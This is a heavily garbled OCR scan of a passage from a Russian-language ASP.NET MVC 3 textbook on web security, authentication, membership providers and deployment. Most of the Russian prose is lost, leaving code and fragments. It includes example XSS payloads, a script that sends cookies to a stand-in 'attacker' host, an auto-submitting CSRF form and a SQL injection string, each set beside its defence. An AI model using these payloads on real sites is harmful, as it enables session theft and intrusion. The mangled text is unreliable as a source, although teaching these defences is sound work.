</HTML>
post
cookie-
POST . ,
.. , HTTP-.
-:
POST /path/resource HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 Firefox/2.0.0.12
Accept: text/xml,application/xml,*/*;q = 0 .5
Content-Type: application/x-www-form-urlencoded
Referer: http://w w w .example.com/somepage.html
Content-Length: 45
Cookie: Cookiel=FirstValue; Cookie2=SecondValue
firstFormField=valuelSsecondFormField=value2
/,
in p u t form. , - /, .
cookie- .
, cookie-
, .
598
-
D O S - telnet -. 80 ,
telnet w w w . e x a m p l e . c o m 80. H TTP-
, H T M L -
. , -
cookie-.
. Windows Vista Windows 7 telnet .
C ontrol P a n e lo P ro g ra m s and F eatu res^T urn
W indow s fe a tu re s on o r o ff^ T e ln e t C lient ( ^
W indow s^ Telnet).
HTTP- , , .
- .
Fiddler, .
-,
Fiddler, . Fiddler
, ,
. , .
Fiddler -
w w w .f i d d l e r 2 .c o m .
, -
- isAdmin (
true false). :
Fiddler cookie,
, . 21.1.
. 2 1 .1 . - Fiddler
21.
599
POST,
Request .UrlReferrer.
Fiddler
HTTP, .
Firebug Firefox (
Chrome). ,
JavaScript.
(DOM) . , ,
, , ,
JavaScript.
Web Developer Toolbar Firefox.
cookie-
.
Internet Explorer Google Chrome ,
DOM CSS, ,
.
HTTP- ,
, ,
-. (
ASP.NET MVC),
.
22.
HTML-
,
HTTP-, ,
.
-. :
- JavaScript-,
.
HTML DOM,
,
- .
( )
.
,
,
.
.
- (,
) ,
, .
( )
,
. ,
.
600
III. ASP.NET 3
. XSS-,
HTTP-, DNS . .
XSS-
8 CartController Index,
returnUrl. CartindexViewModel,
.
:
< href="@Model.ReturnUrl">Continue shopping</a>
XSS.
returnUrl,
returnUrl,
. , URL-
21.1.
21.2. HTML- a n c h o r
< href="" onmousemove="alert('XSS!')" style="position:absolute;left:0;top:0;
width: 1 0 0 % ; height:1 0 0 % ; "> </>
To ,
.
, ,
.
!
URL. (,. p o s t ) :
-, form,
POST, -
.
21.
601
- , , ,
, -.
-, HTML-,
.
, (,
..)
HTML Razor
, .
Razor XSS-, ,
, 0,
. , URL, 21.1,
Razor r e tu r n U r l ,
JavaScript- , 21.3.
21.3.
< href="" onmousemove="alert('XSS!')Squot; style= & qu ot;position :
a b s o l u t e ; l e f t : 0 ; t o p : 0 ; w id th :100%;h e ig h t :100%;"> </>
HTML ,
. Razor ,
Mv c H t m l S t r i n g , . 21.4 ,
H tm l. Row
returnUrl - .
21.4. HTML M v c H t m l S t r i n g
< h ref="@ H tm l.Raw(Model. R etu rn U rl) "> </>
;
, .
. HTML-,
, .
,
, .
. HTML
Agility Pack (h t t p : / / h t m l a g i l i t y p a c k . c o d e p l e x . c o m / ),
C SS- .. HTML - ,
, ..
(, CSS- src <img>).
, ,
XSS Cheatsheet" (http : //ha .ckers .org/xss .html).
ASP.NET ,
ASP.NET.
, - .
602
, HTML-,
ASP.NET . , MVC
Framework, .
. 21.2, <Joe>
form.
. 21.2. ,
, .
, ,
. ,
, HTML, .
, I'm w r i t i n g C# code with
generics, e.g., List<string>, MVC-
, , .
! , ,
. ,
,
, .
.
A l l o w H t m l ,
21.5.
21.5. A llo w H tm l
public class Appointment {
[AllowHtml]
public string ClientName ( get; set; }
[DataType(DataType.Date)]
public DateTime Date { get; set; }
public bool TermsAccepted { get; set; }
}
21.
603
ClientName Appointment,
.
. Validatelnput
, 21.6.
21.6. V a l i d a t e l n p u t
[Validatelnput(false)]
public class AppointmentController : Controller {
private IAppointmentRepository repository;
public AppointmentController(IAppointmentRepository repo)
repository = repo;
}
public ViewResult MakeBooking() {
return View(new Appointment { Date = DateTime.Now });
>
[HttpPost]
public ViewResult MakeBooking (Appointment appt)
if (ModelState.IsValid) (
repository.SaveAppointment(appt);
return V i e w ("Completed", appt);
} else
return V i e w ();
}
}
}
false
. , ,
, .
V a l i d a t e l n p u t
, 21.7.
,
.
21.7. V a l i d a t e l n p u t
public class AppointmentController : Controller {
private IAppointmentRepository repository;
public AppointmentController(IAppointmentRepository repo)
repository = repo;
1
public ViewResult MakeBooking() (
return View(new Appointment { Date = DateTime.Now });
)
[Validatelnput(false)]
[HttpPost]
public ViewResult MakeBooking(Appointment appt)
i f (ModelState.IsValid) {
repository.SaveAppointment(appt);
return V i e w ("Completed, appt);
) else {
return V i e w ();
)
}
604
Validatelnput
.
.
,
.
JavaScript- XSS-
J avaScript - ,
. , JavaScript HTML
-. 21.8 ,
.
21.8. , ,
Smodel string
@{
ViewBag.Title = "Search";
<h4>Results</h4>
<ul id="results"x/ul>
<script type="text/j avascript">
$ (function () {
//
var searchTerm = "0Model";
$.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback^?",
( q: searchTerm, v: "1.0" },
function (searchResults) {
// <ul> <li>
$("#results").children().remove();
$.each(searchResults.responseData.results, function () {
$ ("#results") ,append($("<li>") .html(this.title));
}) ;
}
);
}) ;
</script>
, ,
Google. Razor
XSS-.
,
, .
.NET res s , ,
".NET" A p r e s s ( ), .
Razor &quo t ; ,
var searchTerm = "".NET" Apress";
JavaScript squot;
Google,
(. 21.3).
21.
605
. 21.3.
? HTML ,
. ,
, . A ja x ,
19, J a v a S c rip tS tr in g E n c o d e
, ,
JavaScript.
21.9.
21.9. JavaScript
gmodel s t r in g
&{
V i e w B a g .Title = "Search";
}
<h4>Results</h4>
<ul id = " r e s u lt s " x / u l>
< s c r ip t t y p e = " t e x t / ja v a s c r ip t ">
$ ( fu n ction () {
// -
var searchTerm = "@Html.Raw(Ajax.JavaScriptStringEncode(Model))";
$.g e t J S O N ("h t t p :/ /aj a x .g o o g l e a p i s .com/aj ax/services/search/web?callback=?" ,
</ scripts , A ja x
Html .Raw. Razor ,
. " .NET" A p re ss
:
var searchTerm - "\".NET\" Apress";
606
X S S -,
.
, (ses
sion hijacking) cookie- (cookie stealing).
6 pay 3 epaASP.NET cookie ( ASP .NET_SessionId).
cookie-
( . ASPXAUTH).
,
, . ,
cookie-, , ..
-
JavaScript- .
, ,
-
. :
<script>
var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
document. body. appendChiId(im g);
</script>
X S S -,
, .
.
IP-
IP- ,
, IP-.
.
,
,
IP- .
, ,
IP-.
H TTP- - ,
IP-.
IP- ,
, .
.
H t t p O n ly cookie-
2 0 0 2 . Microsoft Internet Explorer
: - HttpOnly.
.
: - HttpOnly,
JavaScript-, HTTP-.
X S S -,
cookie- .
21.
607
: - HttpOnly,
- ( )
JavaScript . ASP.NET HttpOnly
A S P .NET_Sessionld .ASPXAUTH,
.
cookie- :
Response.Cookies.Add(new HttpCookie("MyCookie")
{
Value = "my value",
HttpOnly = true
}> ;
-,
cookie- - .
, ,
HTTP-, ,
cookie- .
- XSS -
( ) CSRF (Cross-Site Request
Forgery ).
, . -,
UserProfileController:
p u b l i c class U s e r P r o f i l e C o n t r o l l e r : Controller {
public V i e w R e s u l t Edit() {
//
var u s e r P r o f i l e = G e t E x i s t i n g U s e r P r o f i l e ();
return V i e w ( u s e r P r o f i l e ) ;
}
[HttpPost]
public A c t i o n R e s u l t E d i t ( s t r i n g email,
string hobby)
// .
// , ,
var u s e r P r o f i l e = GetExistin g U s e r P r o f i l e ();
u s e r P r o f i l e .Email = email;
userProfile.Hobby = hobby,
SaveUserProfile(userProfile);
}
p r i v a t e U s e r P r o f i l e GetE x i s t i n g U s e r P r o f i l e () ( /* */ }
p r i v a t e v o i d S a v eU s e r P r o f i l e ( U s e r P r o f i l e profile) { /* */ )
>
Edit () ( ),
<form> ,
Edit () POST. Edit ()
. XSS- .
.
. , , -
608
, ,
- :
<body onload="document.getElementByld('f m l 1) .submit ()">
<form id="fml" action="h t t p ://yoursite/UserProfile/Edit" method="post">
<input name="email" value="hacker0somewhere.evil" />
<input name="hobby" value="Defacing websites" />
</form>
</body>
,
Edit () POST .
- -
-, ,
, .
- .
, .
,
POST Ajax (.. XMLHttpRequest).
, , ,
- -.
, , ,
, ?
CSRF- .
HTTP- Re fere . -
, -
URL HTTP-, Referer ( ASP.NET
R e q u e s t .UrlReferrer).
, .
(
H T T P - E Q U I V = " r e f r e s h " ) ; ,
.
.
, - ,
. , ,
,
( ).
.
, ,
, ,
, . MVC Framework
.
CSRF Antiforgery
CSRF
Html .AntiForgeryToken () [ValidateAntiForgeryToken] .
21.
609
>
:
<form action="/UserProfile/Edit" method="post" >
<input name="__RequestVerificationToken" type="hidden" value="B0aG+C>+Bi/5. .." />
< !
- - >
</form>
}
[ValidateAntiForgeryToken] , ,
Request . Form __ RequestVerificationToken.
- ,
. , { a required antiforgery token was not supplied or was invalid
), .
CSRF, ..
-__ R e q u e s t V e r i f i c a t i o n T o k e n ,
.
,
. MVC Framework
.
c o o k ie -H a 6 o p a ,
.
.
H t m l .AntiFor g e r y T o k e n () path
domain HTTP cookie-, , URL -. , path,
c o o k ie -H a 6 o p ,
( ).
__ R e q u e s t V e r i f i c a t i o n T o k e n
( cookie-Ha6ope), .
,
( H t t p C o n t e x t .U s e r .I d e n t i t y .Name,
). [ValidateAntiForgeryToken] ,
20 .
4039
610
.
, - (
) cookie-
.
CSRF ,
.
cookie-.
[ValidateAntiForgeryToken] .
, POST, GET.
,
HTML, , GET
(.. - , ,
). 11.
, - XSS-.
__R e q u e s t V e r i f i c a t i o n T o k e n
. XSS-!
SQL-
, SQL. ,
:
[HttpPost]
public ActionResult Login(string username, string password) {
string sql = string.For m a t (
"SELECT 1 FROM [Users] WHERE Username= 1{0 } 1 AND Password^ '{1} '" ,
u s e rn a m e ,
p a s s w o rd );
// ,
// SQL-
DataTable results = MyDatabase.ExecuteCommand(new SqlCommand(sql));
if (results.Rows.Count > 0) {
//
FormsAuthentication.SetAuthCookie(username, false);
return RedirectToAction("Index", "Home");
} else {
TempData["message"] = " . ";
return RedirectToAction("LoginPrompt");
}
}
SQL- (
).
username password,
, b l a h ' OR 1=1
..
SELECT 1 FROM [Users] WHERE Username=1anyone' AND Password='blah' OR 1=1 '
, , u s e r n a m e password,
21.
611
SQL Server,
.
,
#-. :
string q u e r y = "SE L E C T 1 F R O M [Users]
WHERE Username=@username AND P a s s w o r d = @ p w d ";
,
,
SQL.
-
t
SQL
,
. , -
,
.
- (Object-Relational Mapping ORM), Entity
Framework (. 7), .
- , Entity SQL
SQL .
MVC Framework
, -,
ASP.NET MVC. ,
MVC-,
, MVC Framework.
,
,
. , . ,
C h a n g e ( ) :
pub l i c class P a s s w o r d C o n t r o l l e r : C o n t r o l l e r {
public ActionResult Change (string oldpwd, string newpwd, string newpwdConfirm)
{
s t r i n g usern am e - H t t p C o n t e x t . U s e r . I d e n t i t y . N a m e ;
//
if ((newpwd == newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd))
DoPasswordChange(username, newpwd);
// ... ...
}
612
17,
. ,
, ,
,
.
, Booking,
D iscou n tP ercen t,
URL ?D iscountPercent=100 .
[Bind] ,
, :
public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking)
{
// ... .. ...
}
: [Bind]
, .
17.
, HTTP-
. ,
. ,
, ,
.
2 2
MVC Framework AS . N ', , , ASP.NET
.NET Framework IIS. - ASP.NET .NET;
, .
ASP.NET ; ,
, ,
MVC Framework. MVC
, Microsoft ASP.NET 4.0 C# 2010
, 4- . ( , 2011 .)
Windows
, -.
, ,
- - .
. ASP.NET
,
, .
- IIS (, ,
). Windows W e b . c o n f i g
. . 22.1. ASP.NET MVC
Intranet Application, Visual Studio
.
22.1. Windows
c c o n f i.guration>
< sy stem .w e b>
Au t h e n t i c a t i o n mode="Windows" />
</system.web>
< /co nfigu ratio n>
Windows
. -,
: ,
614
Windows,
Active Directory. -,
, 9
, .
Windows
IIS. ,
. 22.1.
22.1. IIS
; IIS 7
,
; ,
,
SSL-
, ,
-. ,
, ,
Windows
Windows,
. ,
.
,
.
,
,
A u th e n tic a tio n
IIS. - Authentication
(), IIS.
, . 22.1.
. 2 2 .1 . IIS
22.
615
- ,
.
, Anonymous Authentication,
, 13.
- ,
Server Manager Add Role Services ( )
Web Server (IIS) Role ( - (IIS)).
S e c u rity (), . 2 2 .2 .
. 22.2. -
Windows ( , IIS)
,
.
,
.
,
. -
Windows, Windows
. ASP.NET-
.
(Forms Authentication)
, .
Windows,
.
cookie- . ASPXAUTH.
cookie-Ha6opa ( , Fiddler, cookie ), - , 22.2.
616
2 2 .2 . co o kie-
ASPXA UTH
22.2. cookie-
Name
string
Admin
CookiePath
string
Expiration
DateTime
3/20/2011 12:38:54 PM
Expired
bool
False
IsPersistent
bool
False
IssueDate
DateTime
3/18/2011 12:38:54 PM
UserData
string
( )
Version
int
S p o r t s S to r e , .
, - Name. ,
, .
, c o o k i e - H a 6 o p a
. IIS, ,
-,
, .
. , ,
,
, cookie-Ha6op ( ),
.
Machine Keys IIS Manager ( ASP.NET).
Framework
A p p l i c a t i o n , Visual Studio
. 22.3
in t e r n e t
W e b .config.
22.3. W eb. c o n f ig
<authentication mode="Forms">
<forme loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>
22.
617
,
f o r m s W e b . c o n f i g .
. 22.3.
n am e
.A S P X A U T H
c o o k ie -,
tim e o u t
30
( ),
-
.
, :
c o o k ie -
slid in g E x p iratio n
true
t r u e , ASP.NET
.
t i m e o u t
d o m a in
None
, co o kie .
c o o kie -
(..
w w w . e x a m p l e . com ,
. e x a m p l e . co m
c o o k ie -
e x a m p l e . c o m
path
, c o o k ie -
URL .
,
c o o kie -
lo ginU rl
/l o g i n . aspx
,
URL
co o k ieless
U se D e v ic e P ro file
co o kie
req uireSSL
false
t r u e ,
- ,
,
SSL
r e q u i r e S S L , co o kie - SSL- .
,
, 21.
618
III. ASP.NET 3
W e b .config
Authentication IIS Manager.
, Windows.
, ,
Edit (), , . 22.3.
, UR L
. 404-Not Found.
.
1. .
2. , .
3. .
4. , FormsAuthentication. SetAuth
Cookie (), c o o k ie -H a 6 o p .
.
5. ,
.
9
SportsStore. ( ,
M V C 3 Internet Application
AccountController.)
22.
619
cookie-
cookie-
URL, cookie-. ,
URL-. , ,
, ,
cookie-.
-
, - . ,
,
cookie-. , W e b . c o n f i g
-, 22.4.
22.4. cookie-
A uthentication
m ode="Forns">
URL
/ (F(nM D9DiT4 64AxL7niQ ITYUTT05ECN IJlEG w N4CaAKKze- 9ZJqlQ TOKOvhXTxOfW R jAJdg
SYojOYyhDiiHN4SRb4 f g G V c n _ f n Z U 0 x 5 5 I3 _ J e s l ) ) /H o m e/S h o w P riv atelnfo rm a tio n
URL-
/ ( F ( )) / !
-
. URL- ,
,
HTML URL .
-.
, , .
:
, ,
. , . -
URL
, . ,
,
R e f e r e r . , , . URL-,
URL cookie-, , .
,
S p o r t s S t o r e
,
.
. , W e b . c o n f i g ,
, , ,
- ( , - ,
Google :
).
W e b . c o n fig .
620
. W e b . config
,
.
: IIS
Web. config. ,
.
, ASP.NET
,
, ,
. .
(,
) , .
(
, ).
ASP.NET
,
. ,
, SQL Server Active Directory.
,
.
Microsoft
, ,
. API- (
)
.
. ,
API-,
.
API- ASP.NET
.
ASP.NET.
, User. IsInRole
.
, , .
SQL
,
- -
ORM.
SQL
, .
-, ASP.NET
, MVC-,
.
22.
621
, API-, ..
ASP.NET. ,
, .
SQLServer (SqlMembershipProvider)
Active Directory (ActiveDirectoryMembershipProvider).
, SqlMembershipProvider.
, Oracle, NHibemate XML, .
. MVC Framework .
13.
SqlMembershipProvider
MVC- I n t e r n e t A p p l i c a t i o n ,
Visual Studio
S q lM em b e rsh ip P ro vid er. 22.5
W eb .c o n fig , .
22.5.
<configuration>
<providers>
<clear/>
O d d name="AspNetSqlMembershipProvider"
typ e= "S ystem .W eb .S ecu rity. SqlM em bershipProvider"
c o n n ectio n S trin gN a m e= "A p p lica tion S ervices"
e n a b le P a s s w o rd R e trie v a l= "fa ls e "
en ablePassw ordR eset="tru e"
requ iresQ u estion A n dA n sw er="false"
re q u iresU n iq u eE m a il= "fa ls e"
m aKlnvalidPasswordAttem pts="5"
m inRequiredPasswordLength="6"
m inRequiredNonalphanum ericCharacters="0"
passwordAttemptWindow="10"
application N am e= "/ " />
</provid ers>
</membership>
</system.web>
</configuration>
622
E m p t y ,
.
SQL Server
SQL Server ( Express)
,
, , .
ASP.NET SQ L Server Setup
Wizard. a s p n e t _ r e g s q l . e x e , .NET
Fram ew ork ( \ U s e r s \ y o u r N a m e \ W i n d o w s \ M i c r o s o f t , N E T \ F r a m e w o r k \ v 4 . .30319
32- \ U s e r s \ y o u r N a m e \ W i n d o w s \ M i c r o s o f t .N E T \ F r a m e w o r k 6 4 \
v4 .0 .30319 64-).
N ext (), .
Configure S Q L Server for application services ( SQL
Server ). Next, ,
. 22.4.
SQL Server ( SQL E xpre ss,
) ,
. Database ( ) <default> (
). , aspnetdb.
Next,
.
Web. config. , . 22.5,
22.6.
22.
623
. 22.4.
22.6.
<connectionStrings>
<add n a m e = " A p p l i c a t i o n S e r v i c e s "
connectionString="data Source=TITAN\SQLEXPRESS;
Initial Catalog=aspnetdb;
P e r s i s t S e c u r i t y Info=True;
User ID=adam;Password=adam"
p r o v i d e r N a m e = " S y s t e m . D a t a .S q l C l i e n t " />
</connectionStrings>
, ,
, . Visual Studio
Server Explorer ( ),
Data Connections ( ) Add Connection (
).
. , (. 22.5).
. 2 2 .5 . ,
624
III. ASP.NET 3
Membership API
: ,
.. , -
( ),
.
,
- (web site administration tool WAT) .NET Users
( .NIST) IIS.
- (WAT)
WAT,
V is u a l S tu d io . -, ,
V is u a l S tu d io P ro je ctO A S P .N E T Configuration (
ASP.NET). S e cu rity (),
,
. 22.6.
. 22.6. -
.NET Users
.N E T Users ( .NET) IIS,
- IIS Manager.
.N E T Users IIS Manager W e b .config
, .
, IIS Manager .NET 2 ,
, ASP.NET 4. -
22.
625
22.7. W eb. c o n f i g
<?xml v e r s i o n = " l . " e n c o d i n g = " U T F - 8 " ? >
cconfiguration>
< connectionStrings>
<add n a m e = "A p p lic a t io n S e r v ic e s "
conn^ctionString="data Source=TITAN\SQLEXPRESS;
Initial C a t a l o g = a s p n e t d b ;
Persist
User
Security
Info=True;
< s y s t e m .web>
A u t h e n t i c a t i o n mode="Forms">
<forms l o g i n U r l = " ~ / A c c o u n t / L o g O n " t i m e o u t = " 2 8 8 0 " />
< /auth entication >
<membership>
<providers>
<remove n a m e = " A s p N e t S q l M e m b e r s h i p P r o v i d e r " />
<add n a m e = "A s p N etSq lM em b er s h ip P r o v id e r "
t y p e = " S y s tem.Web.Security.Sq l M e m b e r s h i p P r o v i d e r ,
System.Web, V e r s i o n = 2 .0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7fIld50a3a"
c o n n e c t i o n s tringName="ApplicationServices"
application N am e="/"
/>
< /p rov id ers>
</m em b ership >
< / s y s t e m . web>
</configuration>
W e b . c o n f i g .
.
. .NET 2.0
. ,
. , .
, .
IIS M anager, - -
Add A p p lica tio n ( ). -
( A u t h M a n a g e r ) , Physical path ( )
, . 22.7.
626
. 22.7.
,
.N ET Framework 2.0. ,
DefaultAppPool.
, IIS Manager.
, , .NET Users
(, 22.8).
- ,
.
S Q L Server, ,
.
Membershipprovider, 22.8.
,
ValidateUser.
22.
627
22.8.
using System;
using S ystem.Web.Security;
using System.Collections.Generic;
namespace M vc A p p .Infrastructure {
public class SiteMember {
public string UserName { get; set; }
public string Password ( get; set; )
}
public class CustomMembershipProvider : MembershipProvider {
// .
/ / ,
private static List<SiteMember> Members = new List<SiteMember> {
new SiteMember { UserName = "adam", Password = "secret" },
n e w SiteMember { UserName = "steve", Password = "shhhh" }
I-'
public override bool ValidateUser(string username, string password) {
return Members.Exists (m => m.UserName == username && m.Password == password) ,
}
. . . ...
}
)
.
Web. config, .
, ValidateUser,
, ValidateUser, Notlmplemented.
. 22.8 ,
.NET Users, .
.NET,
(GAC)
A d m i n s t r a t i o n .config. ,
.NET Users
, .NET 2.0.
Web. config , 22.9.
2 2 .9 . W e b . c o n f i g
cconfiguration>
<system.web>
<authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication:
membership def a u l t P r o v i d e r = " M y M e m b e r s h i p P r o v i d e r " >
<providers>
<clear/>
628
III. ASP.NET 3
<add name="MyMembershipProvider"
type="MvcApp.Infrastructure.CustomMembershipProvider"/>
</providers>
</membership>
</system.web>
</configuration>
Membership. 22.10
For m s A u t h P r o v i d e r SportsStore,
Membership.
22.10.
using System.W e b .Security;
using SportsStore.W e b U I .Infrastructure.Abstract;
namespace SportsStore.W e b U I .Infrestructure.Concrete {
public class FormsAuthProvider : IAuthProvider {
public bool Authenticate(string username, string password)
(
return result;
}
}
}
( )
.
,
( ),
( ). , , ..
, .
,
. ASP.NET :
, -
, .
. ,
:
Approv e d M e m b e r ( )
C o m m e ntsModerator ( )
SiteAdministrator ( )
, , ,
,
SiteAdministrator.
22.
629
, ..
S i t e A d m i n i s t r a t o r
CommentsModerator ApprovedMember.
,
. , ASP.NET
: API- (
R o le P r o v id e r ) . ,
.
. MVC Framework .
13.
SqlRoleProvider
S q l R o l e P r o v i d e r SqlM em bershipProvider
. MVC Framework
I n t e r n e t A p p l i c a t i o n , Visual Studio
Web. c o n f i g S q lR o l e P r o v i d e r , 22.11.
. A s p N e t S q l R o l e P r o v i d e r ,
S q l M e m b e r s h i p P r o v i d e r ,
, .
S q lM em bersh ipProvid er, .
Windows,
A sp N etW in d o w s T ok en R oleP ro vid er
Active Directory.
630
,
: -,
WA.T , .NET Users IIS Manager
. -
, . 22.9.
</roleManager>
,
RoleProvider. 22.12
22.12.
using System;
using System.W e b .Security;
namespace M v c A p p .Infrastructure {
pub l i c class C u s t o m R o l e P r o v i d e r : R o l e Provider {
22.
} else
if
(usernam e ==
return
} else
"steve")
631
n e w s t r i n g []
new
"Com m entsModerator"
};
r e tu rn
s t r i n g []
};
}
}
. . .
...
}
}
G e t R o l e s F o r U s e r . ,
R o l e P r o v i d e r :
N o t l m p l e m e n t e d E x c e p t i o n . WAT
.NET Users, .
W e b . c o n f i g ,
22.13.
t
2 2 . 13 . W eb . c o n f i g
< configuration>
< sy stem .w e b>
< a u th e n tic a tio n
<forms
m ode="Form s">
/>
n am e="M yM em bershipProvider"
t y p e = "M v c A p p . I n f r a s t r u c t u r e . G u st o m M e m b e r s h ip P r o v id e r " />
,
. - ,
( , ,
),
,
.
632
,
S q l R o l e P r o v i d e r ,
.
, ,
.
SqlM em bershipProvider
SqlProfileProvider
Visual Studio W e b . c o n f i g ,
S q l P r o f i l e P r o v i d e r MVC
I n t e r n e t A p p l i c a t i o n . 22.14.
, W e b . c o n f i g E m p t y
. ,
S q l P r o f i l e P r o v i d e r .
22.14. S q l P r o f i l e P r o v i d e r
<C>nf i g u r a t i o n >
< sy stem .w e b>
<profile>
<providers>
<clear/>
<add name="AspNetSqlProfileProvider"
type="System.Web.Profile.SqlProfileProvider"
connectionstringName="ApplicationServices"
applicationName="/" />
</providers>
</profile>
< / s y s te m .w e b >
< / c o n fig u r a tio n >
,
,
, .
p r o f i l e W e b . c o n f i g p r o p e r t i e s ,
22.15.
22.15.
<profile>
<providers>
< clea r/>
<add n a m e - "A s p N e t S q l P r o f i l e P r o v id e r "
t y p e = "S y s t e m .W e b .P r o file . Sq lPro fileP ro vid er"
connectionStringN am e="ApplicationServices"
a p p lic a tio n N a m e= "/"
/>
<properties>
<add name="Name" type="String"/>
<group name="Address">
<add name="Street" type="String"/>
<add name="City" type="String"/>
<add name="ZipCode" type="String"/>
22.
<add name="State"
633
type="String"/>
</group>
< /p r o p e r t i e s >
22.16.
pub l i c A c t i o n R e s u l t I n d e x () {
V i e w B a g . N a m e = H t t p C o n t e x t . P r o f i l e [ " N a m e " ];
V i e w B a g . C i t y = H t t p C o n t e x t .P r o f i l e .GetPr o f i l e G r o u p ( " A d d r e s s " ) [ " C i t y " ] ;
return V i e w ();
}
[HttpPost]
p ub l i c V i e w R e s u l t I n d e x (string name, string city)
H t t p C o n t e x t .P r o f i l e [" N a m e ] = name;
H t t p C o n t e x t .P r o f i l e .GetProfileGroup(" A d d r e s s " ) [ " C i t y " ] = city;
return V i e w ();
}
ASP.NET
. ,
.
. ,
, . ,
, 22.17.
22.17.
<configuration>
<system.web>
<anonymousIdentification enabled="true"/>
<profile>
<providers>
<c l e a r / >
634
III. ASP.NET 3
<add name="AspNetSqlProfileProvider"
type="System.Web.Profile.SqlProfileProvider"
connectionStringName="ApplicationServices"
applicationName="/" />
</providers>
<properties>
<add name="Name" type="String" allowAnonymous="true"/>
<group name="Address">
' o d d name="Street" type="String"/>
O d d name="City" type="String" a llo w A n o n y m o u s = "tru e "/>
O d d name="ZipCode" type="String"/>
O d d name="State" type="String"/>
</group>
</properties>
</profile>
</system.web>
</configuration>
, ASP.NET
, c o o k ie -H a 6 o p .ASPXANONYMOUS,
10 ( 70 ).
a l l o wAnonymous true;
Name City.
, :
.
,
P r o f i l e P r o v i d e r . WAT
.NET Profiles IIS Manager,
G etPropertyValues () SetPropertyValues () , 22.18.
22.18.
using
using
using
using
using
System;
System.Collections.Generic;
System.Configuration;
System.Linq;
System.Web.Profile;
namespace M v c A p p .Infrastructure {
public class CustomProfileProvider ; ProfileProvider {
private IDictionary<string, IDictionary<string, o b j e c t data =
new Dictionary<string, IDictionary<string, o b j e c t ();
public override SettingsPropertyValueCollection GetPropertyValues(
SettingsContext context, SettingsPropertyCollection collection) (
SettingsPropertyValueCollection result =
new SettingsPropertyValueCollection();
IDictionary<string, object> userData;
bool userDataExists
= data.TryGetValue((string)context["UserName"], out userData);
22.
635
resu lt;
}
public override void SetPropertyValues(SettingsContext context,
SettingsPropertyValueCollection collection) (
strin g
userName =
(s t r i n g ) c o n t e x t [ "UserName"];
if (!string.IsNullOrEmpty(userName)) {
data[userName] = collection
.Cast<SettingsPropertyValue>()
.ToDictionary(x => x.Name, x => x .PropertyValue) ;
}
)
.. . " ...
}
}
, ,
- , .
, Web.config,
22.19.
22.19.
< configuration>
<c o n n e c t i o n S t r i n g s >
<add name="ApplicationServices"
connectionString="data Source=TITAN\SQLEXPRESS;
Initial Catalog=aspnetdb;
Persist Security Info=True;
User ID=adam;Password=adam"
providerName="System.Data.SqlClient" />
</connectionstrings>
<system.web>
Authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>
<membership defaultProvider="MyMembershipProvider">
<providers>
<clear/>
<add name="MyMember3hipProvider"
type="MvcApp.Infrastructure.CustomMembershipProvider"/>
</providers>
</memborship>
<roleManager enabled="true" defaultProvider="MyRoleProvider">
<providers>
<clear/>
636
/>
</providers>
<properties>
O d d name="Name" type="String"/>
<group name="Address">
O d d name="Street" type="String"/>
O d d name="City" type="String"/>
O d d name="ZipCode" type="String"/>
<add name="State" type="String"/>
</group>
* </properties>
</profile>
< / s y s te m .w e b >
</configuration>
URL
ASP.NET URL-
,
URL. , ASPX /Admin/ ,
URL,
/Admin/* - . ,
- /A dm in/Login. aspx.
MVC Framework,
, 11, URL-
. ASP.NET MVC
A uthorize (. 13).
URL, MVC-
URL (, URL
/Admin/). ,
Admin ,
? ?
. URL
URL-. , UserAccountsController
Admin, , URL /Admin/UserAccounts, URL.
/UserAccounts.
22.
637
, URL,
[Authorize]
, .
IP-
,
URL- IP- , .
IP-
: .
-, URL,
MVC Framework.
-, ,
.
, , ,
, .
VPN, . ,
, -
. ,
.
22.20.
<configuration>
< lo c a tio n
p a t h "H om e">
<system.webServer>
<security>
<ipSecurity enableReverseDns="true">
</configuration>
~/Home
path l o c a t i o n .
638
ipSecurity.
IP- ,
, enableReverseDns true.
, ..
DNS ,
.
cle a r ,
add remove .
, .. add remove , .
add , , ,
<add ipAddress="192.188.100.1"/>
IP- 192.188.100.1,
<remove domainName="otherdomain.com"/>
, o therdomain.com .
, ,
.
, ASPNET
MVC-
, , ,
.
ASP.NET ,
MVC-, .
23
,
, . ,
IIS, ,
M V C -.
IIS, , - www. iis .net.
,
.
, .
,
-
. ,
ASP.NET ,
,
.
M V C - IIS,
,
.
.
. S p o r t s S t o r e
S p o r t s S t o r e .WebUI.
. S p o r t s S t o r e .Domain
WebUI, , SportsStore .UnitTests,
.
15, Razor
, Visual Studio.
, .
,
.
640
,
.
( .csp r o j)
M vcBuildViews true, 23.1.
23.1. M v c B u i l d V i e w s
<PropertyGroup>
. . . . . .
<MvcBuildViews>true</MvcBuildViews>
< / P r o p e r t y Group>
Visual Studio,
. Reload (),
.
. .
, .
W e b . c o n f i g ,
c o m p i l a t i o n ,
23.2.
23.2. c o m p i la t io n W eb. c o n f ig
<configuration>
<!-- . -->
<system.web>
<compilation debug="true" targetFramework="4.0">
<assemblies>
<add assembly="System.Web.Abstractions, Version=4.0 ...
, Razor .NET
. c o m p i l a t i o n Web. c o n f i g
: d e b u g () r e l e a s e (). d e b u g
, :
,
;
, :
- ,
:
, .
23.
641
,
. ,
debug false:
< com pilation
debug="false"
IIS 7.x
.NET Compilation IIS Manager,
W e b .config. IIS Manager,
.NET Compilation ( .NET) ASP.NET.
, Deb u g False,
Apply (), . 23.1.
. 2 3 .1 . .NET Compilation
bin-
IIS,
ASP. NET 4, 3 MVC Framework.
- (bin deployment), .NET-,
MVC Framework, /bin.
Visual Studio 2010 SP1
bin- .
A d d
Deployable Dependencies ( ).
A S P .N E T MVC, . 23.2. , ,
.
. 2 3 .2 . ASP.NET MVC
21 . 4039
642
V isu a l S tu dio
_ b i n _ d e p l o y a b l e A s s e m b l i e s , ,
W eb. c o n f i g
W e b . C o n f i g . ,
,
. Visual Studio ,
W e b .c o n f i g
.
! W e b .c o n f i g
, .
Visual Studio.
W e b .c o n f i g , ,
, : W e b .D e b u g .c o n f i g W e b .R e l e a s e .c o n f i g
(. 23.3).
